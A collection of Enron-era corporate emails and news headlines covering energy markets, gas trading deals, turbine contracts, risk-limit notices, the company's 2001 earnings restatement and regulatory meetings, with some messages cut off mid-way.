Skyscraper Is an Ode to Green: The EPA's New Home Is Peppered with Artwork 
and Energy Innovation.

Technology, Trade And Commerce Agency Announces Biomass Grant Awards Totaling 
$374,000; Program Strengthens Production of Renewable Energy in California

Altagas Services Inc - Spends $8.0 Million to Increase Natural Gas Processing 
Capacity

Texas energy firms gouged California, experts say

Court Fight Looms for Power Plant

Ecowatt Announces 20 Megawatt Biomass-Fueled Power Plant Targeted for 
Maryland's Eastern Shore; Plant Will Meet Local Power Needs; Answer Waste 
Management Concerns And Provide Local Jobs

Apx Delivers Texas Renewable Energy Credit System to Ercot

Williams Announces Plans to Develop Power Generation Facility in Georgia

Aes Newenergy Teams with Energy Systems Group to Offer Energy Services to 
Illinois Customers

Greenman Technologies Acquires Tennessee Tire Recyclers, Inc.; Acquisition 
Adds $2 Million in Revenues, Expands Greenman's Alternative Energy-Related 
Presence

Electric Fuel Corp. Announces New Battery Pricing

NY Natural Gas Pre-Opg: May Seen Flat to Higher on Consolidation

Constellation Energy Group on Target to Complete West Virginia Power Plant 
for Summer Service

Global Green USA And Environment Now Release ''Roadmaps'' to Help State Meet 
Energy Efficiency GoalsEnvironmental Groups Applaud "Chief Energy Advisor" to 
Davis And Signing of Energy Efficiency Legislation As First Steps to Recovery 
for California

Tradespark Opens Houston Texas Office -- Most Comprehensive, Fully Electronic 
Energy Marketplace Builds Presence in Energy-Hub City

Nuclear Energy Is Viable Alternative

Environmentalists Oppose Proposed Power Plants

UN: Sustainable Development Commission Takes Up Energy And Transport in Its 
High-Level Segment

Power, Pain of Eminent Domain Landowners Battle Transmission-Line Easements 
Declared Necessary by Georgia Power under Its State-Granted Authority.

End to Deregulation of Nevada Power

GREENPEACE OFFICE CONNECTS SOLAR UNIT TO ARGENTINE POWER GRID

Westcoast Energy Inc - Open Season on Southern Mainline And Westcoast Alberta 
Facilities

Peru: Repsol Ypf to Invest US$14mil in Power Plant

Top Energy Summaries - Thursday, April 19, 2001 - 2:13 PM

Baku: Azerbaijan to Create Energy Ministry

Top Energy Summaries - Thursday, April 19, 2001 - 12:25 PM

Celanese AG to Exhibit Fuel Cell Components at Hanover, Germany Trade Fair 
Next Week

El Pais: Government Regulates Greater Liberalisation of Natural Gas Market 
Today(El Gobierno Regula Hoy Una Mayor Apertura Del Mercado Del Gas Natural)

Top Energy Summaries - Thursday, April 19, 2001 - 9:19 Am

China's Daya Bay Nuclear Plant Supplys More Power to Hk

Profile - China's Electric Power Industry (April 2001)

AuIron Energy to start commercial production of pig iron late 2003

Top Energy Summaries - Thursday, April 19, 2001 - 7:40 Am

Woodside Energy awards 280 mln aud North West Shelf expansion project

Siemens Power Generation Streamlines Development of Fossil Fuel Power Plants 
with Sap's Product Lifecycle Management Solution

Energy And Utilities

Taxpayers Tipped to Foot State Power Bills

Connecticut Governor Announces Fuel Cell Purchase

Commission Orders Tulsa, Okla.-Based Energy Firm to Relinquish Documents

Tampa, Fla., Energy Firm Reports 18 Percent Earnings Growth for 2000

Washington State Utilities Declare Vulnerability to Shortage

Minnesota Utilities Start Cutoffs for Non-Payment

Minnesota Fines Ethanol Plant in ST. Paul for Noise, Environmental Problems

Testimony Indicates California Electricity Market Was Troubled in 1998

California Governor May Back Energy Firm's Proposed Power Plant

Bellevue, Wash.-Based Puget Sound Energy Keeps Course in Rough Sea

Sacramento, Calif., Electric Rates to Soar Higher Than Predicted

Colton, Calif., Utility Company Hopes to Bring New Generator Online Soon

North Carolina Lawmakers Back for Power Plant Pollution Control Bill

Portland, Ore.-Based Utility Company Promotes Rate Bill in Legislature

Northwest U.S. Braces for Summer Onslaught of Electricity Crisis

Energy Secretary Likely to Uphold Decision to Shut Down Hanford, Wash., Plant

Washington State Power Authority Takes More Land Out of Production

Federal Inspectors Fine Operators of Cambria County, Pa., Power Plant

Chino Hills, Calif., Man Reduces Electricity Bills Through Conservation

Former Energy Secretary Is `Leery' of California's Purchase of Power Lines

New Jersey Utility Hints at Rate Hike in 2003

New Jersey Utility Advocate Advises Against Merger Approval

Nashua, N.H., Water Utility Announces Plans for Proposed Rate Increase

Milwaukee-Based Utility Begins Energy Shut-Offs for Delinquent Customers

Nevada Regulator Seeks Delay in Proposed Utility Deal

California Energy Crisis Results in Major Loss for Utility Parent Company

Houston Chronicle Jim Barlow Column

Minnesota Power Company Posts a Profitable First Quarter

Energy Crisis Prompts Look at Generators, Air Quality in Bakersfield, Calif.

Utility Company to Begin Pilot Program in Texas

Southeast Texas Lags Behind Rest of State in Electricity Deregulation

Santa Barbara, Calif., Start-Up Looks to Make Electricity from Algae

Albany, N.Y.-Based Plug Power Shares Rise on Announcements

-Pollution Control Project at Owensville, Ind., Power Plant Is a Tall Order

Ontario set to unveil power deregulation - source

No injuries after explosion at Midwest power plant

UPDATE 1-CONSOL output up, pushes profit past expectations

Environment ministers save energy in UN bike ride

Falconbridge to take hit from power rate hike

UPDATE 1-Avici Q1 loss narrows

Nevada repeals electric deregulation plan

UPDATE 1-Con Edison profits slip on system investments

Milan bourse ends down; Montedison falls, Fiat up

Con Edison profits slip on system investments

UPDATE 1-Enron India unit lenders to meet on April 23

WPS Resources Q1 profit falls 16 percent

Avici first-quarter loss narrows

Japan nuclear plant cuts output over suspected leak

Calif Energy Commission okays Otay Mesa project

Black Hills offers 3 mln shares at $52/ea

UPDATE 1-Nicor says profits flat, hit upper range of estimates 

career! 

PMA ONLINE MAGAZINE: Access online at: http://www.retailenergy.com/pmamag.htm 

> DELL & ENRON ClickAtHome ORDER CONFIRMATION
>
> Thank you for your Enron ClickAtHome order!  Please read and retain this
> e-mail for your records.  It contains important information relating to
> your order that should be used in any future communications with Dell.
>
> Your Dell customer number is:  12831599
>
> Your order number is:  506990233/506990241
>
> Your total "Out of Pocket" amount:  $1156.97
> The total "Out of Pocket" amount includes upgrade costs, shipping and
> taxes.
>
>
> Your Online Sales Point of Contact:
> We are here to assist you with your order if needed. Our office hours are
> Monday- Friday, 8am-7pm Central Standard Time.  You can reach our office
> by calling 1-866-220-3355 or through e-mail at:
> US_EPP_Clickathome@dell.com <mailto:US_EPP_Clickathome@dell.com> .
>
> Estimated Ship Date:
> We estimate that your order should be shipped on or before 01/31/01.
> Although we do not anticipate a delay in your order, we cannot guarantee
> the shipping date as we occasionally run into unexpected delays in
> manufacturing.  Your order is being shipped to you under Dell's terms and
> conditions of sale found at: www.dell.com <http://www.dell.com>.
>
> Total Satisfaction Policy:
> If you wish to cancel your order for any reason within 30 days, we'll
> refund amounts paid by you, minus shipping costs, no questions asked.  You
> are responsible for the cost of shipping your system back to us.
> EPP Customer Care contact options: 1-866-220-3355,  option 4 or use the
> e-mail box  US Relationship EPP@dell.com .
>
> How to Check Order Status:
> If you would like to check the status of your order, please call Dell's
> automated order status inquiry system at:  1-800-433-9014, or visit Dell's
> Order Status Page at: <http://wwwapp.us.dell.com/us/en/ordstat/index.asp>.
>
>
> You can also register to have Dell e-mail you when your order is shipped,
> by going to:
> <http://wwwapp.us.dell.com/us/en/ordstat/watchreg.asp?ordnum>.
>
> How to reach a Technical Support Representative:
> Once you have received your equipment, if you need to contact a Dell
> technical support representative, please call 1-866-220-3355, option 3.
> You will be asked to give your "Service Tag Number".  The "Service Tag
> Number" is a five digit alphanumeric number written on the white bar code
> label on the back of the system.  Please have this number ready before you
> contact the technical support representative.
>
>
> Thank you for participating in the Dell/ Enron ClickAtHome program.  It is
> my pleasure to work with you.
>
> Sincerely,
>
>
> Jerome Alder
> Dell Sales Rep.
> EPP
> 1-800-695-8133
> Ext. 49761
> Email:Jerome_Alder@Dell.com
>
> 

---------------------- Forwarded by Daren J Farmer/HOU/ECT on 12/29/99 06:56 
   
	From:  David Baumbach                           12/28/99 06:20 PM
	
To: Kenneth W Walther/HOU/ECT@ECT, William Kelly/HOU/ECT@ECT, Brenda F 
Herod/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT
cc:  
Subject: Y2K deal

Details for the deal to be entered on Jan. 1, 2000:

Buy/Sell:  Buy
Ctpty: Aquila Energy Marketing Corporation
Zone:  Agua Dulce @ 0584
Volume:  5,000/d
Pricing:  HSC -0.065
Period:  1/8/00-1/31/00

This deal will be the second part of Sitara deal #143974.

Please let me know if there are any questions or concerns.

Dave

Enclosed are the comments of WGSI on the Proposed Decision in this
proceeding.  Please contact Michael Day if you have any comments, questions,
or difficulty opening this email.  415-392-7900

Mike Day

 <<X19039.DOC>>

 - X19039.DOC

Bill/Dale/Kay-

I've made redline edits with regards to LVCII performance guarantee values
in Section 10.7 for output and heat rate based on the Feb 8, 2001 guarantee
sheet.

Dale, please send revised LVC II facility agreement to reflect Units 25-28
with appropriate schedules for price, delivery, payment and termination
schedules at your earliest convenience.

The units 19-20 and 23-24 that are currently reflected in this document will
be left in E-Next (Turbopark).  The schedules for price, delivery, payment
will remain the same for these units.

Thanks,

Lee

From: Dale.Rasmussen@enron.com [mailto:Dale.Rasmussen@enron.com]
Sent: Monday, March 12, 2001 3:03 PM
To: Johnson, Lee L (PS, SSEP); Bill.Williams@enron.com;
Kay.Mann@enron.com
Subject: GE LM-6000 purchase contract for Las Vegas Cogeneration II
project

Bill Williams asked me to forward the attached execution form of the
LM-6000 purchase contract.

The second attachment is to be inserted as Exhibit H-2 in the contract.  I
understand that we received it from GE, and that it is available only in
pdf format.

Thanks.

(See attached file: Training LM6000.pdf)(See attached file: LV Cogen Gas
Turbine Purchase Agreement - Version 5.DOC)

 - LV Cogen Gas Turbine Purchase Agreement - Version 5_redline031201.DOC

The President asked that I share with you this e-mail he sent to the
University Community.

> From: Swygert, H. Patrick
> Sent: Thursday, September 07, 2000 5:25 PM
> To: AllEmployees; Faculty; AllStudents
> Subject: Memorial Rally
>
> Colleagues:
>
> At noon tomorrow, Friday, September 8, 2000, the Howard University Student
> Association is sponsoring a rally to bring attention to the recent police
> shooting in nearby Virginia of Howard University student, Prince C. Jones
> Jr.  The rally will be in front of Douglass Hall.
>
> I recently met and shared with the father of Prince Jones, Jr., Mr. Prince
> Jones, Sr., our sorrow and sympathies.  But we must do more.  We must
> clearly, forcefully and with resolve express our outrage and unwillingness
> to stand  by in silence while our youth are subject to racial profiling
> and police violence.  Please join me in celebrating the life of Prince
> Jones, Jr. and in letting our students know that we stand with them.
>
> I look forward to seeing you there.
>
>
> H. Patrick Swygert
> President

Chris, if lang has been drafted to address the various changes to the LLC
agreements I would like to discuss and brainstorm a little to hopefully catch
as many of the issues as possible in the round of changes.  Let me know when
you want to review lang.  Thanks, Lee H

From: Lori Marlatt@LGALAW@COR, on 6/12/00 10:22 AM:

Gerald:

I've looked at the changes you've made to the LLC Agreement, as well as to
the Capacity Allocation Agreement, and the Amended Admin. Services Agreement,
and am on board with all revisions.  I believe the changes we were requesting
in the Cap. Alloc. Agrmt., as relayed to me by Hoekenga, are adequately
addressed in your draft.  Thus, unless Chris or Lee Hanse have anything to
add to the documents, I believe they are ready to execute.

Once executed, please provide an execution copy to me for filing in our
records.

Thanks!
Lori
From: "Gerald Nemec" <Gerald.Nemec@enron.com>, on 6/9/00 3:38 PM:

Attached are redlined versions of an amended and restated LLC agreement and an
amendment to the Administrative Services Agreement.  I decided to simply amend
the Admin. Agreement since the change was so minor.  You will note that the
changes in the LLC Agreement were solely to accommodate the revisions made in
the Capacity Allocation Agreement which I forwarded earlier.  Please call if
you

(See attached file: Amendment to Admin Agreement1red.doc)(See attached file:
Amended and Restated LLC Agreement(Red).doc)

The PRELIMINARY DPR reflects a Maturity Gap Risk violation for Gas Trading in 
the following amount:

 LIMIT:  300 Bcf
 Maturity Gap: (446) Bcf

and a VaR violation for Gas Trading in the following amount:

 LIMIT:  $86.00 Million
 VaR:  $99.75  Million

A final memo will be distributed with an explanation.

Chris Abel

The advisory statements for January 2000 have completed posting to your
secure web sites.  Attached below is the version mapping needed for
reconciling your invoices.

(See attached file: January 2000_SA2_Version_Mapping.xls)
 - January 2000_SA2_Version_Mapping.xls 

Please note, Paul has scheduled a meeting to discuss "Available Capacity" on tomorrow, Tuesday, November 27, 10:30 - 11:30, ECN-1336.

Please mark your calendars accordingly.

adr

From: =09Crenshaw, Shirley =20
Sent:=09Tuesday, August 28, 2001 7:59 AM
To:=09Adam Stevens (E-mail); Alex Huang (E-mail); Amitava Dhar (E-mail); An=
guel Grigorov (E-mail); Anita DuPont (E-mail); Bhalachandra Mehendale (E-ma=
il); Bob Lee (E-mail); Candice Kao (E-mail); Chonawee Supatgiat (E-mail); C=
hristopher Pernoud (E-mail); Eric Cope (E-mail); Gwyn Koepke (E-mail); Heat=
her A. Johnson (E-mail); Jaesoo Lew (E-mail); Jason Sokolov (E-mail); Jose =
Marquez (E-mail); Joseph Hrgovcic (E-mail); Karthik Rajan (E-mail); Kenneth=
 Deng (E-mail); Kevin G Moore (E-mail); Lance Cunningham (E-mail); Leann Wa=
lton (E-mail); Martin Lin (E-mail); Maureen Raymond (E-mail); Mike A Robert=
s (E-mail); Mitra Mujica (E-mail); Nelson Neale (E-mail); Osman Sezgen (E-m=
ail); Paulo Issler (E-mail); Pinnamaneni Krishnarao (E-mail); Pravas Sud (E=
-mail); Praveen Mellacheruvu (E-mail); Rabi De (E-mail); Rakesh Bharati (E-=
mail); Roman Zadorozhny (E-mail); Sandeep Kohli (E-mail); Sarah Wooddy (E-m=
ail); Seksan Kiatsupaibul (E-mail); Sevil Yaman (E-mail); Shalesh Ganjoo (E=
-mail); Shane Green (E-mail); Shravan Chopra (E-mail); Sofya Tamarchenko (E=
-mail); Stephen Bennett (E-mail); Tanya Tamarchenko (E-mail); Therese Cande=
lla (E-mail); Tom Barkley (E-mail); Tom Halliburton (E-mail); Vasant Shanbh=
ogue (E-mail); Vince J Kaminski (E-mail); Wichai Narongwanich (E-mail); Wil=
liam Smith (E-mail); Zimin Lu (E-mail)
Subject:=09FW: Kent Daniel Seminar

More info on the Rice Seminar.

From: =09Kaminski, Vince J =20
Sent:=09Monday, August 27, 2001 5:20 PM
To:=09Crenshaw, Shirley

FYI

Vince

From: =09Albert Wang <wangfa@rice.edu>@ENRON [mailto:IMCEANOTES-Albert+20Wa=
ng+20+3Cwangfa+40rice+2Eedu+3E+40ENRON@ENRON.com]=20
Sent:=09Monday, August 27, 2001 2:51 PM
To:=09Kaminski, Vince J
Subject:=09RE: Kent Daniel Seminar

Vince,

It is 3:30pm at Room 115.  Hope to see you then.

Albert

At 02:34 PM 8/27/01 -0500, you wrote:
>Albert,
>
>Thanks. What is the time of the presentation?
>
>Vince Kaminski
>
>    From:   Albert Wang <wangfa@rice.edu>@ENRON
>
>[mailto:IMCEANOTES-Albert+20Wang+20+3Cwangfa+40rice+2Eedu+3E+40ENRON@ENRON=
.com]
>
>
>    Sent:   Monday, August 27, 2001 9:17 AM
>    To:     (Recipient list suppressed)@ENRON
>    Subject:  Kent Daniel Seminar
>
>    Rice/Enron Finance Seminar Participants:
>    Kent Daniel from Northwestern University will present a paper on Frida=
y,
>    August 31, co-authored with Sheridan Titman, entitled "Market Reaction=
s
>    to Tangible and Intangible Information."  The full text of the paper i=
s
>    available in PDF form on the seminar website:
>    http://www.ruf.rice.edu/~jgsfss << File: http://www.ruf.rice.edu/~jgsf=
ss
>    >>
>    Fu-Kuo Albert Wang
>    Assistant Professor
>    Jones Graduate School of Management -- MS 531
>    Rice University
>    6100 Main Street
>    Houston, TX 77005
>    Phone: 713-348-5404
>    Fax:     713-348-5251
>    email: wangfa@rice.eduhttp << File: http://www.ruf.rice.edu/~wangfa/ >=
>
>    ://www.ruf.rice.edu/~wangfa/ << File: http://www.ruf.rice.edu/~wangfa/
>    >>
>
>
>
>
>reply to Enron Corp. at enron.messaging.administration@enron.com and
>delete all copies of the message. This e-mail (and any attachments hereto)
>are not intended to be an offer (or an acceptance) and do not create or
>evidence a binding and enforceable contract between Enron Corp. (or any of
>its affiliates) and the intended recipient or any other party, and may not
>be relied on by anyone as the basis of a contract by estoppel or
>otherwise. Thank you.

Fu-Kuo Albert Wang
Assistant Professor
Jones Graduate School of Management -- MS 531
6100 Main Street
Houston, TX 77005

Phone: 713-348-5404
Fax:     713-348-5251
email: wangfa@rice.edu
http://www.ruf.rice.edu/~wangfa/

Rod - we have discussed the accounting for plane uasage on year 2001 and have 
determined that  the actual trip costs will be billed direct to the user's 
RC.  However,  the 2001 budget costs for the plane have been included in Dan 
McCarty's executive RC budget.  Thus, we will have to develop a procedure to 
charge the RC for atctual costs, but credit the plane budget and maintain 
some control as to the overall status of the budget.

Who would you like me to work with to develop/coordinate these procedures?

Thanks!

Next Tuesday, December 19th, the 50th floor will be open to all employees for 
the Annual Holiday Open House from 3:00pm until 5:00pm.  Similar to last 
year, we will provide food, beverage and musical entertainment and will also 
decorate eight executive offices to reflect the Festival of Lights.  Our goal 
is to expose our employees to different celebrations around the world and 
simultaneously demystify the 50th floor.

For your reference, the offices that will be decorated are listed below:
St. Lucia - Ken Lay
Kwaanza - Jeff Skilling
Los Posadas - Rob Walls
Chinese New Year - Cindy Olson
Hanukkah - Andy Fastow
Ramadan - Rick Buy
Devali - Rick Causey
Christmas - Jim Derrick

We would welcome Executive Committee members to volunteer to greet employees 
in the 50th floor elevator lobby or serve punch.   Time slots are available 
in 15-minute increments from 3:00pm to 5:00pm.  Please reply to this e-mail 
if you would like to volunteer for this event and I will provide additional 
information for your reference at that time.

This annual affair is an employee favorite and you may contact me with any 
comments or questions.  

Charla Reese
Manager, Community Relations
x35202

Thanks for your help just now Anthony. Please may we have access to the 
Financial Trading Database, as suggested. (Cheers Tana !!) For now, those 
needing access will be Matthew Allan, Stephen Furter, John Costa, Damian 
Faulkner and Andrew Wells.

As to the specific ISDAs mentioned in our telecon, please may we have copies 
of 96030717 (ECTRL), 96031248 (Moravske Naftove), 96031232 (Risk Management & 
Trading Corp), 96016930 (State Street Bank) and 96030725 (Elf Trading SA).

Many thanks again,

A.

When: Thursday, November 01, 2001 11:30 AM-12:30 PM (GMT-06:00) Central Time (US & Canada).

Hey, I need to re-schedule.  I am a co-chair for the Enron Kids Committee and we have a meeting over lunch on this same day.

sorry-
kh

---------------------- Forwarded by Kay Mann/Corp/Enron on 10/10/2000 09:14 
   
	From:  Kay Mann                           10/10/2000 09:13 AM
	
To: Sheila Tweed/HOU/ECT@ECT, al.larsen@enron.com
cc:  

Subject: LM6K Change Order #2

I believe this to be the latest draft of the PSCO change order.  
Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 10/10/2000 09:11 
From: Kathleen Clark@ENRON_DEVELOPMENT on 10/05/2000 05:36 PM
To: Kay Mann/Corp/Enron@ENRON, Ben Jacoby/HOU/ECT@ECT, Chris.booth@enron.com
cc:  

Kay, Ben & Chris:

Attached is the latest draft of Change Order #2 for your review & input:

Kathy

I would like to take responsibility for the technical side of this, but in 
all honesty I must admit I'm just the idea guy...(I'm know I'm breaking all 
your illusions about me today, I'll have no more secrets!)

can you get me the number of our contact at the Delano.  I have a personal 
favor to ask them.
john

[IMAGE]	
  Dear Investor:  As you know, E*TRADE has a wide range of cutting-edge tools and services designed to fit the needs of each individual investor.  With all of these resources at your fingertips, it's difficult to sort through all that's out there to determine which products, tools and services are best suited to meet your financial needs.   That's where we come in! If you'll take a brief moment to tell us about your investment interests, we'll use your feedback to deliver resources that are suited to meet your short and long-term financial goals.   Take our short survey today!      We thank you for your feedback and look forward to providing you with investment information designed to fit your financial needs.  E*TRADE the #1 place to invest online.1        	
 1 E*TRADE ranked the #1 Internet broker by the Lafferty Internet Ratings annual survey (9/00).      System response and account  access times may vary due to a variety of factors, including trading  volumes, market conditions, and system performance.   HOW TO UNSUBSCRIBE: You  received this e-mail because you registered on the E*TRADE Web site, or on  one of our partners' sites. If you do not want to receive partner e-mail  offers, or any E*TRADE marketing e-mail, you can change your preferences now.  You are subscribed at: kevin.ruscitti@enron.com.. E*TRADE takes your privacy seriously. To learn more about E*TRADE's use of  personal information, please read our Privacy Policy .   ?2001 E*TRADE Securities, Incorporated, member NASD/SIPC. All rights reserved. E*TRADE and the E*TRADE logo are registered trademarks of E*TRADE Securities, Inc.  	

[IMAGE][IMAGE]

Today we released additional information about our related party and off-balance sheet transactions.  We have made this information available both on our website and in a Form 8-K filing with the Securities and Exchange Commission (SEC).

The information provides further details about:

	-- the $1.2 billion charge to shareholders' equity announced in the third quarter and the transactions related to that charge;
	-- a restatement of prior years' financial statements to reflect this reduction in shareholders' equity, the consolidation of     three entities and prior year proposed audit adjustments and reclassifications;
	-- the Special Committee appointed by the Enron Board of Directors to review transactions between Enron and related parties; 
	-- the LJM limited partnerships, including a discussion of transactions between Enron and LJM entities; and
	-- transactions between Enron and other Enron employees.

This information addresses a number of concerns that have been raised by our shareholders and the SEC.  As our Board's new Special Committee continues its review of various matters, we will continue to cooperate fully with the SEC in its investigation, and we will continue to respond to investor requests so that they can evaluate, appreciate and appropriately value the strength of our core businesses.  

Restatement of Earnings

Based on information that we have recently obtained, Enron and its auditors determined that certain off-balance sheet entities should have been included in Enron's consolidated financial statements pursuant to generally accepted accounting principles.  As a result, Enron will restate its financial statements from 1997 to 2000 and for the first and second quarters of 2001.  These restatements have no material effect on Enron's current financial position.  Here are some details included in the filing:

Net income for each period will be impacted by the retroactive consolidation of Joint Energy Development Investments (JEDI) and Chewco beginning in November 1997, the consolidation of an LJM1 subsidiary for 1999 and 2000 and prior year proposed audit adjustments.  Enron's current assessment indicates that the restatement will include:

	-- a reduction of approximately $96 million in 1997
	-- a reduction of approximately $113 million in 1998
	-- a reduction of approximately $250 million in 1999 
	-- a reduction of approximately $132 million in 2000
	-- an increase of approximately $17 million for the first quarter of 2001 
	-- an increase of approximately $5 million for the second quarter of 2001
	-- a reduction of $17 million for the third quarter of 2001.  

The consolidation of JEDI and Chewco also will increase Enron's debt by approximately $711 million in 1997, $561 million in 1998, $685 million in 1999 and $628 million in 2000.

The restatement will have no material impact on Enron's reported earnings for the nine-month period ending September 2001.

You can obtain more detailed information on the items described above by accessing the Form 8-K filing at <http://www.enron.com/corp/sec/>.

We will continue to review our strategic, operational and financial position, and we will continue to keep you updated on any developments.

FYI

Oasis made cut to WGR sale to HPL on Sunday 9/24 & Monday 9/25 for 5.0 /day   
(reference deal 411062) due to loss of supply.

Thanks,
Mark
x33396

On Friday, July 6th, we had an excellent first meeting with Com Ed. 

In attendence from Enron were Rogers Herndon, Marc Ulrich, Jeff Merola, Brad 
Snyder, Guy Sharfman and myself.  (Roy Boston and our attorney Chris Townsend 
attended our pre-meeting discussion but did not attend at ComEd to keep our 
numbers down).

In attendence from Com Ed were Pam Strobel President, Exelon Energy Delivery 
Company and Vice Chair, ComEd; Frank Clark, Ex. V.P. Customer Marketing and 
Energy Delivery Services, ComEd; Gerald Rhodes, President, Exelon Energy; 
Arlene Juracek, Vice President, Regulatory & Strategic Services, ComEd; John 
McCawley, Director, Electric and Gas Choice; and Michael Freeman, Long-Term 
Trader, Exelon Power Team.

During the course of the meeting, we delivered our message that we, like 
ComEd, wanted to see a competitive market emerge in Illinois, but that we had 
concern that lifting the PPO early without the presence of a competitive 
market could create a California-like situation - which is what they were 
striving to avoid - because their approach would leave buyers on the 
competitive market without having any sellers due to problems with physical 
delivery.  We indicated our concern for our existing customers and our 
ability to grow our business in Illinois.  We stressed the PJM model as a 
workable solution that creates a liquid market.  There was much enthusiasm on 
the part of ComEd for focusing ICC attention on creating that kind of a 
solution for Illinois.  Arlene Juracek encouraged us to work with them on 
this and to meet with Steve Nauman and Celia David.  Since Mike Roan and I 
will be in Illinois on this Tuesday and Wednesday, first to hear the 
Alliance's presentation to the ICC and then for Mike to make a presentation 
the following day, we are going to try and meet with them.

One of our objectives was to set up a team between Enron and ComEd to go 
through the requirements and nuts and bolts of physical delivery into 
Illinois.  This was accomplished and Jeff Merola and Mark Ulrich witll be 
meeting  with Ann McGlin at ComEd to get a better understanding of what we 
can and cannot do to achieve physical delivery.  Also, Michael Freeman 
indicated a willingness to sell us a structured retail product to help us 
achieve physical delivery (energy and/or load following services), and made 
it clear that whatever deal we do with the Exelon Power team would be 
independent and separate from any deal we might do with ComEd on the PPO 
front.  Once we have completed our discussions with Ann McGlin and with 
Michael Freeman, we will meet again with ComEd to negotiate what we need for 
physical delivery.  

We also discussed other aspects of the ComEd letter to the ICC and received 
the following clarifications.  Customers going off the PPO before 2004 would 
be offered rate 6L which is a bundled rate.  After 2004, ComEd plans to go to 
real time pricing on a day ahead or hourly basis.  As to whether the CTC 
could be reinstated after a customer was dropped from PPO, they indicated 
that they had not thought about it, but believed the law would allow this.  
Arlene Juracek, however, commented that they could lock in a CTC agreement 
with a customer.  I interpret that to mean that as part of an agreement to 
support ComEd in its proposal, we may be able to guarantee that for our 
customers, the CTC will not reemerge if market prices go down or that we can 
negotiate a limited CTC, etc.  

We also pointed out that we had other concerns like ComEd's unwillingness to 
negotiate the Supplier Agreement.  Not much time was spent on that but my 
sense is that if this is an obstacle to getting our concurrence, we may be 
able to work through this as well.

Frank Clark asked us about our willingness to take on the role of supplier of 
last resort and we responded that we needed first to be sure that we could 
physically deliver to customers.  Once that hurdle is addressed, we would be 
willing to consider that possibility.

The ComEd negotiating team will meet in Houston on either the morning of July 
16th or 17th when we believe the tasks with ComEd will be completed, in order 
to evaluate what we have learned and what our next steps should be.  I will 
then arrange a follow-up meeting with Pam Strobel and her team.  

Janine

Karen,

I shall attend the conference,
both days.

	From:  Karen Marshall                           01/17/2001 07:59 PM
	
To: David Haug/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Gary 
Hickerson/HOU/ECT@ECT, Craig Childers/HOU/EES@EES, Thomas 
Suffield/NA/Enron@ENRON, Ben F Glisan/HOU/ECT@ECT, Ermes 
Melinchon/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Hal Elrod/Corp/Enron@Enron, 
Clay Spears/HOU/ECT@ECT, Kelly Mahmoud/HOU/ECT@ECT, Ellen Fowler/Enron 
Communications@Enron Communications, Kevin Kuykendall/HOU/ECT@ECT, Fred 
Mitro/HOU/ECT@ECT, Kyle Kettler/HOU/ECT@ECT, Jeff Bartlett/HOU/ECT@ECT, Paul 
J Broderick/HOU/ECT@ECT, John House/HOU/ECT@ECT, George 
McCormick/HOU/ECT@ECT, Guido Caranti/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ken 
Sissingh/Corp/Enron@Enron, Gwynn Gorsuch/NA/Enron@ENRON, Mark Gandy/Enron 
Communications@Enron Communications, Shawn 
Cumberland/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jennifer 
Martinez/HOU/ECT@ECT, Sean Keenan/HOU/ECT@ECT, Webb Jennings/HOU/ECT@ECT, 
Brian Hendon/Enron Communications@Enron Communications, Billy Braddock/Enron 
Communications@Enron Communications, Paul Burkhart/Enron Communications@Enron 
Communications, Garrett Tripp/TOR/ECT@ECT, John Massey/HOU/ECT@ECT, V Charles 
Weldon/HOU/ECT@ECT, Peter Hayes/HOU/EES@EES, Ross Mesquita/NA/Enron@ENRON, 
David Mitchell/HOU/ECT@ECT, Brian Kerrigan/HOU/ECT@ECT, Mark Gandy/Enron 
Communications@Enron Communications, Jennifer Martinez/HOU/ECT@ECT, Sean 
Keenan/HOU/ECT@ECT, Webb Jennings/HOU/ECT@ECT, Brian Hendon/Enron 
Communications@Enron Communications, Billy Braddock/Enron 
Communications@Enron Communications, Garrett Tripp/TOR/ECT@ECT, John 
Massey/HOU/ECT@ECT, V Charles Weldon/HOU/ECT@ECT, Peter Hayes/HOU/EES@EES, 
Ross Mesquita/NA/Enron@ENRON, David Mitchell/HOU/ECT@ECT, Christie 
Patrick/HOU/ECT@ECT, Michael B Rosen/HOU/ECT@ECT, Cindy 
Shankman/HOU/ECT@ECT, angela.dorsey@bus.utexas.edu 
Subject: URGENT DEADLINE: RSVP by JAN 22nd: Invitation to 2001 Energy Finance 
Conference Feb. 22-23, 2001- The University of Texas at Austin

Please note:  The deadline for RSVP & Hotel reservations is MONDAY, JANUARY 
22nd Don't miss this opportunity!

Karen

would

agenda
speakers

meals,

Radisson
to
January
Radisson

seating

check-in
UT Club*

Advisors

Center
Trustees

Radisson

Attached are the BGE filings at the US District Court in Baltimore.  They are 
seeking injunctive and declaratory relief, both of which were summarily 
rejected by Judge Matsch in Denver, who is treating CSU's claim as an APA 
review. They are also making virtually identical legal claims as CSU - their 
central claim is that they have the exclusive right to operate electric and 
gas systems inside Fort Meade. BGE has also brought in the issue of state 
jurisdiction over other entities such as EFSI:  they cite an opinion letter 
from the General Counsel of the MD PSC as an "official decision"  - which it 
is not.  In any case, Randy Rich and I had  subsequent meeting with GC 
regarding that letter in which she "clarified" her position in various 
respects contrary to BGE's claims.  But I see that aspect of BGE's complaint 
as favorable from our standpoint - the District Court can rule on this issue 
instead of the state courts.  Vicki/Andrew, please let me know how you want 
to proceed.  I have a few ideas that we could discuss with whomever handles 
the case as outside counsel.    -Bob 3-3180
---------------------- Forwarded by Robert Frank/NA/Enron on 09/01/2000 08:46 

"Randall Rich" <rrich@bracepatt.com> on 09/01/2000 08:34:47 AM
To: <rfrank@enron.com>
cc: "Albert Krachman" <akrachman@bracepatt.com>, "Charles McNeish" 
<cmcneish@bracepatt.com> 

Subject: Fwd: FW: Fort Meade Privatization

The BGE peititon is attached.
Received: from mcafee.bracepatt.com by bracepatt.com; Fri, 01 Sep 2000 
08:27:05 -0500
Received: FROM smtp1.bge.com BY mcafee.bracepatt.com ; Fri Sep 01 08:28:46 
2000 -0500
X-Proxy: keymaster.bracepatt.com protected
Received: from ex-ge-r01.ge.cec (unverified) by smtp1.bge.com (Content 
Technologies SMTPRS 4.1.5) with ESMTP id <T011405c44e61c71924@smtp1.bge.com> 
for <rrich@bracepatt.com>; Fri, 1 Sep 2000 09:18:07 -0400
